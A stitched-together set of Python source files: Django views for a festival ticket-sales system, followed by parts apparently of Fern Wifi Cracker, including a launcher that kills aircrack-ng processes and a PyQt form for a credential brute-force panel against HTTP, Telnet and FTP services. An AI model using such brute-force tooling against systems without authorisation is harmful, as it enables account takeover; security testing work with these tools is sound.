os.environ.setdefault("DJANGO_SETTINGS_MODULE", "festivalrock.settings")
# This application object is used by any WSGI server configured to use this
# file. This includes Django's development server, if the WSGI_APPLICATION
# setting points here.
from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()
# Apply WSGI middleware here.
# from helloworld.wsgi import HelloWorldApplication
# application = HelloWorldApplication(application)
| Python |
from decimal import Decimal
from django.contrib.auth.decorators import login_required
from django.contrib.auth.models import User
from django.contrib.sites.models import Site
from django.core.urlresolvers import reverse
from django.forms.models import inlineformset_factory
from django.http import HttpRequest, HttpResponseRedirect
from django.shortcuts import render_to_response, redirect
from django.template.context import Context, RequestContext
from festivalrock.forms import EmitirTicketForm, FiltrarLocalidadesForm, \
FiltrarFestivalesForm, Venta_FestivalesForm, Venta_DiasForm, Venta_SectoresForm, \
Venta_EntradasForm, Planificacion_FestivalesForm, Planificacion_BandasForm
from festivalrock.models import Presentacion, Festival, Butaca, Descuento, \
PuntoVenta, Fila, Sector, Noche, PerfilUsuario
@login_required
def get_usuario_logueado(request):
username = None
if request.user.is_authenticated():
username = request.user.username
return username
@login_required
def validar_usuario(request):
usuario = PerfilUsuario.objects.get(nombre=get_usuario_logueado(request))
if usuario.tipoUsuario == 'V':
return HttpResponseRedirect('ventas/')
else:
return HttpResponseRedirect('funcionalidades/')
@login_required
def obtener_punto_venta(request):
user = User.objects.get(username=get_usuario_logueado(request))
puntoVenta = PuntoVenta.objects.get(usuario=user)
return puntoVenta
@login_required
def funcionalidades(request):
puntoVenta = obtener_punto_venta(request)
return render_to_response('funcionalidades.html', {'puntoVenta' : puntoVenta}, context_instance=RequestContext(request))
@login_required
def planificacion(request):
puntoVenta = obtener_punto_venta(request)
if request.method == 'POST':
# formulario enviado
festivalesForm = Planificacion_FestivalesForm(puntoVenta.id, request.POST, instance=request.user)
if festivalesForm.is_valid():
print("Form valido!!")
cd = festivalesForm.cleaned_data
else:
# formulario inicial
festivalesForm = Planificacion_FestivalesForm(puntoVenta.id, request, instance=request.user)
bandasForm = Planificacion_BandasForm(request, instance=request.user)
context = Context({
'puntoVenta' : puntoVenta,
'festivalesForm' : festivalesForm,
'bandasForm' : bandasForm,
})
return render_to_response('planificacion.html', context, context_instance=RequestContext(request))
@login_required
def festivales(request,id_festival=None,id_noche=None,id_sector=None):
localidades = []
sectores = [Sector(),]
tablaEntradas = {}
puntoVenta = obtener_punto_venta(request)
if id_festival != None:
festivalesForm = Venta_FestivalesForm(puntoVenta.id, request, instance=request.user)
festivalesForm.setFestivalSeleccionado(id_festival)
if id_noche != None:
fechasForm = Venta_DiasForm(id_festival, request, instance=request.user)
fechasForm.setNocheSeleccionada(id_noche)
if id_sector != None:
sectoresForm = Venta_SectoresForm(id_noche, request, instance=request.user)
sectoresForm.setSectorSeleccionado(id_sector)
if id_sector > '0':
sectores = Sector.objects.filter(id=id_sector)
localidades = Fila.objects.filter(sector=id_sector)
tablaEntradas = obtener_detalle_entrada_seleccionada(request,id_festival,id_noche,id_sector)
elif request.method == 'POST':
# formulario enviado
festivalesForm = Venta_FestivalesForm(puntoVenta.id, request, instance=request.user)
id_festival = request.POST['festivales']
fechasForm = Venta_DiasForm(id_festival, request, instance=request.user)
id_noche = request.POST['noches']
sectoresForm = Venta_SectoresForm(id_noche, request, instance=request.user)
id_sector = request.POST['sectores']
if id_sector > '0':
sectores = Sector.objects.filter(id=id_sector)
localidades = Fila.objects.filter(sector=id_sector)
festivalesForm.setFestivalSeleccionado(id_festival)
fechasForm.setNocheSeleccionada(id_noche)
sectoresForm.setSectorSeleccionado(id_sector)
else:
# formulario inicial
festivalesForm = Venta_FestivalesForm(puntoVenta.id, request, instance=request.user)
fechasForm = Venta_DiasForm(0, request, instance=request.user)
sectoresForm = Venta_SectoresForm(0, request, instance=request.user)
context = Context({
'puntoVenta' : puntoVenta,
'festivalesForm' : festivalesForm,
'fechasForm' : fechasForm,
'sectoresForm' : sectoresForm,
'localidades' : localidades,
'sectores' : sectores,
'id_festival' : id_festival,
'id_noche' : id_noche,
'id_sector' : id_sector,
'tablaEntradas' : tablaEntradas,
})
return render_to_response('ventas.html', context, context_instance=RequestContext(request))
@login_required
def seleccionar_localidad(request, id_butaca, id_fila, id_festival, id_noche, id_sector):
butaca = Butaca.objects.get(id=id_butaca)
user = User.objects.get(username=get_usuario_logueado(request))
butaca.bloquear(user)
return festivales(request, id_festival, id_noche, id_sector)
def obtener_detalle_entrada_seleccionada(request,id_festival,id_noche,id_sector):
user = User.objects.get(username=get_usuario_logueado(request))
butacas = Butaca.objects.filter(vendedor=user)
results = []
sector = Sector.objects.get(id=id_sector)
noche = Noche.objects.get(id=id_noche)
for butaca in butacas:
fila = Fila.objects.get(butacas__id=butaca.id)
results.append(DetalleEntrada(fila.getNumero(),butaca.getNumero(),sector.getImporteEntradaBase(),noche.getAdicionalPorCategoria()))
return results
class DetalleEntrada():
def __init__(self,fila,butaca,importe,adicional):
self.fila = fila
self.butaca = butaca
self.importe = importe
self.adicional = adicional
@login_required
def cargar_planificacion(request):
puntoVenta = obtener_punto_venta(request)
if request.method == 'POST':
# formulario enviado
festivalesForm = Planificacion_FestivalesForm(puntoVenta.id, request, instance=request.user)
festivalesForm.setFestivalSeleccionado(request)
festival = request.POST['festivales']
fechasForm = Venta_DiasForm(festival, request, instance=request.user)
fechasForm.setNocheSeleccionada(request)
noche = request.POST['noches']
else:
# formulario inicial
festivalesForm = Planificacion_FestivalesForm(puntoVenta.id, request, instance=request.user)
fechasForm = Venta_DiasForm(0, request, instance=request.user)
bandasForm = Planificacion_BandasForm(request, instance=request.user)
context = Context({
'puntoVenta' : puntoVenta,
'festivalesForm' : festivalesForm,
'fechasForm' : fechasForm,
'bandasForm' : bandasForm,
})
return render_to_response('ventas.html', context, context_instance=RequestContext(request))
@login_required
def presentaciones(request,id_festival):
puntoVenta = obtener_punto_venta(request)
context = Context({
'puntoVenta' : puntoVenta,
'presentaciones': puntoVenta.getPresentacionesDelFestival(id_festival),
'festival': Festival.objects.filter(id=id_festival),
})
return render_to_response('presentaciones.html', context, context_instance=RequestContext(request))
@login_required
def filtrar_localidades(request,id_presentacion):
puntoVenta = obtener_punto_venta(request)
if request.method == 'POST':
form = FiltrarLocalidadesForm(request.POST)
if form.is_valid():
cd = form.cleaned_data
id_sector = cd['sector']
sectores = Sector.objects.filter(id=id_sector)
else:
sectores = Sector.objects.filter(presentacion__id=id_presentacion)
form = FiltrarLocalidadesForm()
context = Context({
'puntoVenta' : puntoVenta,
'festival': Festival.objects.get(id=1),
'presentacion' : Presentacion.objects.get(id=id_presentacion),
'localidades' : sectores,
'fecha' : sectores[0].presentacion.fecha,
'bandas' : sectores[0].obtenerBandas(),
'form': form,
})
return render_to_response('localidades.html', context, context_instance=RequestContext(request))
@login_required
def desbloquear_butaca(request,id_butaca):
butaca = Butaca.objects.get(id=id_butaca)
butaca.desbloquear()
return filtrar_localidades(request,butaca.getSector().presentacion.id)
@login_required
def adquirir_localidad(request):
user = User.objects.get(username=get_usuario_logueado(request))
butacas = Butaca.objects.filter(vendedor=user)
puntoVenta = obtener_punto_venta(request)
# butaca.bloquear()
# resumenVenta = butaca.resumenVenta()
if request.method == 'POST':
form = EmitirTicketForm(request.POST)
if form.is_valid():
cd = form.cleaned_data
id_descuento = cd['descuento']
descuento=Descuento.objects.get(id=id_descuento)
# ticket=butaca.adquirir(descuento,puntoVenta.vendedor)
context = Context({
'puntoVenta':puntoVenta,
# 'festival': resumenVenta[0],
# 'fecha': resumenVenta[1],
# 'sector': resumenVenta[2],
# 'fila' : Fila.objects.get(butacas__id=butaca.id),
# 'butaca': butaca,
# 'bandas': resumenVenta[3],
# 'ticket': ticket,
'url' : Site.objects.get(id=1).name + "/media/",
'url_filtrar_sector' :Site.objects.get(id=1).name + "/localidades_por_sector",
})
return render_to_response('ticket.html', context, context_instance=RequestContext(request))
else:
form = EmitirTicketForm()
context = Context({
'puntoVenta' : puntoVenta,
# 'festival': resumenVenta[0],
# 'fecha': resumenVenta[1],
# 'sector': resumenVenta[2],
# 'fila' : Fila.objects.get(butacas__id=butaca.id),
# 'butaca': butaca,
# 'bandas': resumenVenta[3],
# 'descuentoAnticipada' : resumenVenta[2].importeEntradaBase * Decimal(resumenVenta[4]),
'form': form,
# 'urlCancelacion':Site.objects.get(id=1).name + "/desbloquear_butaca/"+ str(butaca.id) ,
})
return render_to_response('butaca.html', context, context_instance=RequestContext(request))
| Python |
#!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "festivalrock.settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
| Python |
#!/usr/bin/env python
import os
import sys
import time
import shutil
import commands
from PyQt4 import QtGui,QtCore
def initialize():
'Set Working directory'
if 'core' in os.listdir(os.getcwd()):
create_directory()
else:
variable = sys.argv[0]
direc = os.path.dirname(variable)
if direc:
os.chdir(direc)
create_directory()
def restore_files():
'''Fern 1.2 update algorithm fails to update the new version files
therefore this piece of code corrects that defect when running
the program after an update from 1.2'''
update_directory = '/tmp/Fern-Wifi-Cracker/'
for old_file in os.listdir(os.getcwd()):
if os.path.isfile(os.getcwd() + os.sep + old_file) and old_file != '.font_settings.dat':
os.remove(os.getcwd() + os.sep + old_file)
# Delete all old directories except the "key-database" directory
for old_directory in os.listdir(os.getcwd()):
if os.path.isdir(os.getcwd() + os.sep + old_directory) and old_directory != 'key-database':
shutil.rmtree(os.getcwd() + os.sep + old_directory)
for update_file in os.listdir('/tmp/Fern-Wifi-Cracker'): # Copy New update files to working directory
if os.path.isfile(update_directory + update_file):
shutil.copyfile(update_directory + update_file,os.getcwd() + os.sep + update_file)
else:
shutil.copytree(update_directory + update_file,os.getcwd() + os.sep + update_file)
for new_file in os.listdir(os.getcwd()):
os.chmod(os.getcwd() + os.sep + new_file,0777)
def create_directory():
'Create directories and database'
if not os.path.exists('fern-settings'):
os.mkdir('fern-settings') # Create permanent settings directory
if not os.path.exists('key-database'): # Create Database directory if it does not exist
os.mkdir('key-database')
def cleanup():
'Kill all running processes'
commands.getstatusoutput('killall airodump-ng')
commands.getstatusoutput('killall aircrack-ng')
commands.getstatusoutput('killall airmon-ng')
commands.getstatusoutput('killall aireplay-ng')
initialize()
if 'core' not in os.listdir(os.getcwd()):
restore_files()
from core import *
functions.database_create()
from gui import *
if __name__ == '__main__':
app = QtGui.QApplication(sys.argv)
run = fern.mainwindow()
pixmap = QtGui.QPixmap("%s/resources/screen_splash.png" % (os.getcwd()))
screen_splash = QtGui.QSplashScreen(pixmap,QtCore.Qt.WindowStaysOnTopHint)
screen_splash.setMask(pixmap.mask())
screen_splash.show()
app.processEvents()
time.sleep(3)
screen_splash.finish(run)
run.show()
app.exec_()
cleanup()
sys.exit()
| Python |
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'untitled.ui'
#
# Created: Wed Mar 30 10:34:13 2011
# by: PyQt4 UI code generator 4.8.3
#
# WARNING! All changes made in this file will be lost!
import os
from PyQt4 import QtCore, QtGui
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
_fromUtf8 = lambda s: s
class font_dialog(object):
def setupUi(self, Dialog):
Dialog.setObjectName(_fromUtf8("Dialog"))
Dialog.resize(235, 105)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/1295906241_preferences-desktop-font.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
Dialog.setWindowIcon(icon)
self.verticalLayout_2 = QtGui.QVBoxLayout(Dialog)
self.verticalLayout_2.setObjectName(_fromUtf8("verticalLayout_2"))
self.verticalLayout = QtGui.QVBoxLayout()
self.verticalLayout.setObjectName(_fromUtf8("verticalLayout"))
self.label_2 = QtGui.QLabel(Dialog)
self.label_2.setObjectName(_fromUtf8("label_2"))
self.verticalLayout.addWidget(self.label_2)
self.horizontalLayout = QtGui.QHBoxLayout()
self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout"))
self.label = QtGui.QLabel(Dialog)
self.label.setObjectName(_fromUtf8("label"))
self.horizontalLayout.addWidget(self.label)
self.comboBox = QtGui.QComboBox(Dialog)
self.comboBox.setObjectName(_fromUtf8("comboBox"))
self.horizontalLayout.addWidget(self.comboBox)
self.verticalLayout.addLayout(self.horizontalLayout)
spacerItem = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem)
self.verticalLayout_2.addLayout(self.verticalLayout)
self.horizontalLayout_2 = QtGui.QHBoxLayout()
self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2"))
spacerItem1 = QtGui.QSpacerItem(18, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_2.addItem(spacerItem1)
self.buttonBox = QtGui.QDialogButtonBox(Dialog)
self.buttonBox.setOrientation(QtCore.Qt.Horizontal)
self.buttonBox.setStandardButtons(QtGui.QDialogButtonBox.Cancel|QtGui.QDialogButtonBox.Ok)
self.buttonBox.setObjectName(_fromUtf8("buttonBox"))
self.horizontalLayout_2.addWidget(self.buttonBox)
spacerItem2 = QtGui.QSpacerItem(18, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_2.addItem(spacerItem2)
self.verticalLayout_2.addLayout(self.horizontalLayout_2)
self.retranslateUi(Dialog)
QtCore.QObject.connect(self.buttonBox, QtCore.SIGNAL(_fromUtf8("accepted()")), Dialog.accept)
QtCore.QObject.connect(self.buttonBox, QtCore.SIGNAL(_fromUtf8("rejected()")), Dialog.reject)
QtCore.QMetaObject.connectSlotsByName(Dialog)
def retranslateUi(self, Dialog):
Dialog.setWindowTitle(QtGui.QApplication.translate("Dialog", "Dialog", None, QtGui.QApplication.UnicodeUTF8))
self.label_2.setText(QtGui.QApplication.translate("Dialog", "Current Font: ", None, QtGui.QApplication.UnicodeUTF8))
self.label.setText(QtGui.QApplication.translate("Dialog", "General Font Size:", None, QtGui.QApplication.UnicodeUTF8))
| Python |
import os
from main_window import font_size
from PyQt4 import QtCore, QtGui
font_setting = font_size()
from PyQt4 import QtCore, QtGui
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
_fromUtf8 = lambda s: s
class Ui_ray_fusion(object):
def setupUi(self, ray_fusion):
ray_fusion.setObjectName(_fromUtf8("ray_fusion"))
ray_fusion.resize(821, 572)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/fusion.png" % (os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
ray_fusion.setWindowIcon(icon)
self.verticalLayout_9 = QtGui.QVBoxLayout(ray_fusion)
self.verticalLayout_9.setObjectName(_fromUtf8("verticalLayout_9"))
self.horizontalLayout_8 = QtGui.QHBoxLayout()
self.horizontalLayout_8.setObjectName(_fromUtf8("horizontalLayout_8"))
self.verticalLayout_9.addLayout(self.horizontalLayout_8)
self.horizontalLayout_4 = QtGui.QHBoxLayout()
self.horizontalLayout_4.setObjectName(_fromUtf8("horizontalLayout_4"))
spacerItem = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_4.addItem(spacerItem)
self.horizontalLayout = QtGui.QHBoxLayout()
self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout"))
self.label = QtGui.QLabel(ray_fusion)
self.label.setText(_fromUtf8(""))
self.label.setPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/Page-World.ico" % (os.getcwd()))))
self.label.setObjectName(_fromUtf8("label"))
self.horizontalLayout.addWidget(self.label)
self.target_edit = QtGui.QLineEdit(ray_fusion)
self.target_edit.setMinimumSize(QtCore.QSize(281, 0))
self.target_edit.setObjectName(_fromUtf8("target_edit"))
self.horizontalLayout.addWidget(self.target_edit)
self.port_edit = QtGui.QLineEdit(ray_fusion)
self.port_edit.setMaximumSize(QtCore.QSize(51, 20))
self.port_edit.setObjectName(_fromUtf8("port_edit"))
self.horizontalLayout.addWidget(self.port_edit)
self.horizontalLayout_4.addLayout(self.horizontalLayout)
spacerItem1 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_4.addItem(spacerItem1)
self.help_button = QtGui.QPushButton(ray_fusion)
self.help_button.setText(_fromUtf8(""))
icon1 = QtGui.QIcon()
icon1.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/Help.ico" % (os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.help_button.setIcon(icon1)
self.help_button.setIconSize(QtCore.QSize(30, 30))
self.help_button.setFlat(True)
self.help_button.setObjectName(_fromUtf8("help_button"))
self.horizontalLayout_4.addWidget(self.help_button)
self.verticalLayout_9.addLayout(self.horizontalLayout_4)
self.horizontalLayout_11 = QtGui.QHBoxLayout()
self.horizontalLayout_11.setObjectName(_fromUtf8("horizontalLayout_11"))
self.groupBox = QtGui.QGroupBox(ray_fusion)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.groupBox.setFont(font)
self.groupBox.setObjectName(_fromUtf8("groupBox"))
self.horizontalLayout_3 = QtGui.QHBoxLayout(self.groupBox)
self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3"))
self.horizontalLayout_2 = QtGui.QHBoxLayout()
self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2"))
spacerItem2 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_2.addItem(spacerItem2)
self.http_https_radio = QtGui.QRadioButton(self.groupBox)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.http_https_radio.setFont(font)
icon2 = QtGui.QIcon()
icon2.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/Page-World.ico" % (os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.http_https_radio.setIcon(icon2)
self.http_https_radio.setIconSize(QtCore.QSize(20, 20))
self.http_https_radio.setChecked(True)
self.http_https_radio.setObjectName(_fromUtf8("http_https_radio"))
self.horizontalLayout_2.addWidget(self.http_https_radio)
spacerItem3 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_2.addItem(spacerItem3)
self.telnet_radio = QtGui.QRadioButton(self.groupBox)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.telnet_radio.setFont(font)
icon3 = QtGui.QIcon()
icon3.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/Application-Osx-Terminal.ico" % (os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.telnet_radio.setIcon(icon3)
self.telnet_radio.setObjectName(_fromUtf8("telnet_radio"))
self.horizontalLayout_2.addWidget(self.telnet_radio)
spacerItem4 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_2.addItem(spacerItem4)
self.ftp_radio = QtGui.QRadioButton(self.groupBox)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.ftp_radio.setFont(font)
icon4 = QtGui.QIcon()
icon4.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/Ftp.ico" % (os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.ftp_radio.setIcon(icon4)
self.ftp_radio.setIconSize(QtCore.QSize(20, 20))
self.ftp_radio.setObjectName(_fromUtf8("ftp_radio"))
self.horizontalLayout_2.addWidget(self.ftp_radio)
spacerItem5 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_2.addItem(spacerItem5)
self.horizontalLayout_3.addLayout(self.horizontalLayout_2)
self.horizontalLayout_11.addWidget(self.groupBox)
self.settings_button = QtGui.QPushButton(ray_fusion)
self.settings_button.setMaximumSize(QtCore.QSize(101, 31))
font = QtGui.QFont()
font.setPointSize(font_setting)
self.settings_button.setFont(font)
icon5 = QtGui.QIcon()
icon5.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/Setting-Tools.ico" % (os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.settings_button.setIcon(icon5)
self.settings_button.setObjectName(_fromUtf8("settings_button"))
self.horizontalLayout_11.addWidget(self.settings_button)
self.verticalLayout_9.addLayout(self.horizontalLayout_11)
self.settings_groupbox = QtGui.QGroupBox(ray_fusion)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.settings_groupbox.setFont(font)
self.settings_groupbox.setObjectName(_fromUtf8("settings_groupbox"))
self.verticalLayout_6 = QtGui.QVBoxLayout(self.settings_groupbox)
self.verticalLayout_6.setObjectName(_fromUtf8("verticalLayout_6"))
self.horizontalLayout_9 = QtGui.QHBoxLayout()
self.horizontalLayout_9.setObjectName(_fromUtf8("horizontalLayout_9"))
self.default_wordlist_radio = QtGui.QRadioButton(self.settings_groupbox)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.default_wordlist_radio.setFont(font)
self.default_wordlist_radio.setChecked(True)
self.default_wordlist_radio.setObjectName(_fromUtf8("default_wordlist_radio"))
self.horizontalLayout_9.addWidget(self.default_wordlist_radio)
spacerItem6 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_9.addItem(spacerItem6)
self.custom_wordlist_radio = QtGui.QRadioButton(self.settings_groupbox)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.custom_wordlist_radio.setFont(font)
self.custom_wordlist_radio.setObjectName(_fromUtf8("custom_wordlist_radio"))
self.horizontalLayout_9.addWidget(self.custom_wordlist_radio)
spacerItem7 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_9.addItem(spacerItem7)
self.blank_username_checkbox = QtGui.QCheckBox(self.settings_groupbox)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.blank_username_checkbox.setFont(font)
self.blank_username_checkbox.setChecked(True)
self.blank_username_checkbox.setObjectName(_fromUtf8("blank_username_checkbox"))
self.horizontalLayout_9.addWidget(self.blank_username_checkbox)
spacerItem8 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_9.addItem(spacerItem8)
self.blank_password_checkbox = QtGui.QCheckBox(self.settings_groupbox)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.blank_password_checkbox.setFont(font)
self.blank_password_checkbox.setChecked(True)
self.blank_password_checkbox.setObjectName(_fromUtf8("blank_password_checkbox"))
self.horizontalLayout_9.addWidget(self.blank_password_checkbox)
spacerItem9 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_9.addItem(spacerItem9)
self.verticalLayout_6.addLayout(self.horizontalLayout_9)
self.horizontalLayout_10 = QtGui.QHBoxLayout()
self.horizontalLayout_10.setObjectName(_fromUtf8("horizontalLayout_10"))
self.horizontalLayout_5 = QtGui.QHBoxLayout()
self.horizontalLayout_5.setObjectName(_fromUtf8("horizontalLayout_5"))
self.label_2 = QtGui.QLabel(self.settings_groupbox)
self.label_2.setObjectName(_fromUtf8("label_2"))
self.horizontalLayout_5.addWidget(self.label_2)
self.time_interval_spinbox = QtGui.QSpinBox(self.settings_groupbox)
self.time_interval_spinbox.setObjectName(_fromUtf8("time_interval_spinbox"))
self.horizontalLayout_5.addWidget(self.time_interval_spinbox)
self.horizontalLayout_10.addLayout(self.horizontalLayout_5)
spacerItem10 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_10.addItem(spacerItem10)
self.verticalLayout_6.addLayout(self.horizontalLayout_10)
self.verticalLayout_9.addWidget(self.settings_groupbox)
self.custom_wordlist_groupbox = QtGui.QGroupBox(ray_fusion)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.custom_wordlist_groupbox.setFont(font)
self.custom_wordlist_groupbox.setTitle(_fromUtf8(""))
self.custom_wordlist_groupbox.setObjectName(_fromUtf8("custom_wordlist_groupbox"))
self.horizontalLayout_13 = QtGui.QHBoxLayout(self.custom_wordlist_groupbox)
self.horizontalLayout_13.setObjectName(_fromUtf8("horizontalLayout_13"))
self.horizontalLayout_12 = QtGui.QHBoxLayout()
self.horizontalLayout_12.setObjectName(_fromUtf8("horizontalLayout_12"))
spacerItem11 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_12.addItem(spacerItem11)
self.user_wordlist_led = QtGui.QLabel(self.custom_wordlist_groupbox)
self.user_wordlist_led.setText(_fromUtf8(""))
self.user_wordlist_led.setPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/red_led.png" % (os.getcwd()))))
self.user_wordlist_led.setObjectName(_fromUtf8("user_wordlist_led"))
self.horizontalLayout_12.addWidget(self.user_wordlist_led)
self.userlist_button = QtGui.QPushButton(self.custom_wordlist_groupbox)
icon6 = QtGui.QIcon()
icon6.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/Page-White-Database.ico" % (os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.userlist_button.setIcon(icon6)
self.userlist_button.setIconSize(QtCore.QSize(20, 20))
self.userlist_button.setObjectName(_fromUtf8("userlist_button"))
self.horizontalLayout_12.addWidget(self.userlist_button)
spacerItem12 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_12.addItem(spacerItem12)
self.password_wordlist_led = QtGui.QLabel(self.custom_wordlist_groupbox)
self.password_wordlist_led.setText(_fromUtf8(""))
self.password_wordlist_led.setPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/red_led.png" % (os.getcwd()))))
self.password_wordlist_led.setObjectName(_fromUtf8("password_wordlist_led"))
self.horizontalLayout_12.addWidget(self.password_wordlist_led)
self.passwordlist_button = QtGui.QPushButton(self.custom_wordlist_groupbox)
self.passwordlist_button.setIcon(icon6)
self.passwordlist_button.setIconSize(QtCore.QSize(20, 20))
self.passwordlist_button.setObjectName(_fromUtf8("passwordlist_button"))
self.horizontalLayout_12.addWidget(self.passwordlist_button)
spacerItem13 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_12.addItem(spacerItem13)
self.horizontalLayout_13.addLayout(self.horizontalLayout_12)
self.verticalLayout_9.addWidget(self.custom_wordlist_groupbox)
self.verticalLayout_8 = QtGui.QVBoxLayout()
self.verticalLayout_8.setObjectName(_fromUtf8("verticalLayout_8"))
self.label_8 = QtGui.QLabel(ray_fusion)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label_8.setFont(font)
self.label_8.setObjectName(_fromUtf8("label_8"))
self.verticalLayout_8.addWidget(self.label_8)
self.horizontalLayout_7 = QtGui.QHBoxLayout()
self.horizontalLayout_7.setObjectName(_fromUtf8("horizontalLayout_7"))
self.verticalLayout_7 = QtGui.QVBoxLayout()
self.verticalLayout_7.setObjectName(_fromUtf8("verticalLayout_7"))
self.credential_table = QtGui.QTableWidget(ray_fusion)
self.credential_table.setFrameShape(QtGui.QFrame.VLine)
self.credential_table.setFrameShadow(QtGui.QFrame.Plain)
self.credential_table.setSelectionMode(QtGui.QAbstractItemView.SingleSelection)
self.credential_table.setSelectionBehavior(QtGui.QAbstractItemView.SelectItems)
self.credential_table.setTextElideMode(QtCore.Qt.ElideRight)
self.credential_table.setHorizontalScrollMode(QtGui.QAbstractItemView.ScrollPerItem)
self.credential_table.setObjectName(_fromUtf8("credential_table"))
self.verticalLayout_7.addWidget(self.credential_table)
spacerItem14 = QtGui.QSpacerItem(20, 13, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.verticalLayout_7.addItem(spacerItem14)
self.launch_bruteforce = QtGui.QPushButton(ray_fusion)
self.launch_bruteforce.setMinimumSize(QtCore.QSize(0, 31))
font = QtGui.QFont()
font.setPointSize(font_setting)
self.launch_bruteforce.setFont(font)
self.launch_bruteforce.setObjectName(_fromUtf8("launch_bruteforce"))
self.verticalLayout_7.addWidget(self.launch_bruteforce)
self.horizontalLayout_7.addLayout(self.verticalLayout_7)
self.verticalLayout = QtGui.QVBoxLayout()
self.verticalLayout.setObjectName(_fromUtf8("verticalLayout"))
self.verticalLayout_5 = QtGui.QVBoxLayout()
self.verticalLayout_5.setObjectName(_fromUtf8("verticalLayout_5"))
self.verticalLayout_3 = QtGui.QVBoxLayout()
self.verticalLayout_3.setObjectName(_fromUtf8("verticalLayout_3"))
self.verticalLayout_4 = QtGui.QVBoxLayout()
self.verticalLayout_4.setObjectName(_fromUtf8("verticalLayout_4"))
self.horizontalLayout_6 = QtGui.QHBoxLayout()
self.horizontalLayout_6.setObjectName(_fromUtf8("horizontalLayout_6"))
self.label_3 = QtGui.QLabel(ray_fusion)
self.label_3.setMaximumSize(QtCore.QSize(52, 32))
self.label_3.setText(_fromUtf8(""))
self.label_3.setPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/Statistics.ico" % (os.getcwd()))))
self.label_3.setObjectName(_fromUtf8("label_3"))
self.horizontalLayout_6.addWidget(self.label_3)
self.label_4 = QtGui.QLabel(ray_fusion)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label_4.setFont(font)
self.label_4.setObjectName(_fromUtf8("label_4"))
self.horizontalLayout_6.addWidget(self.label_4)
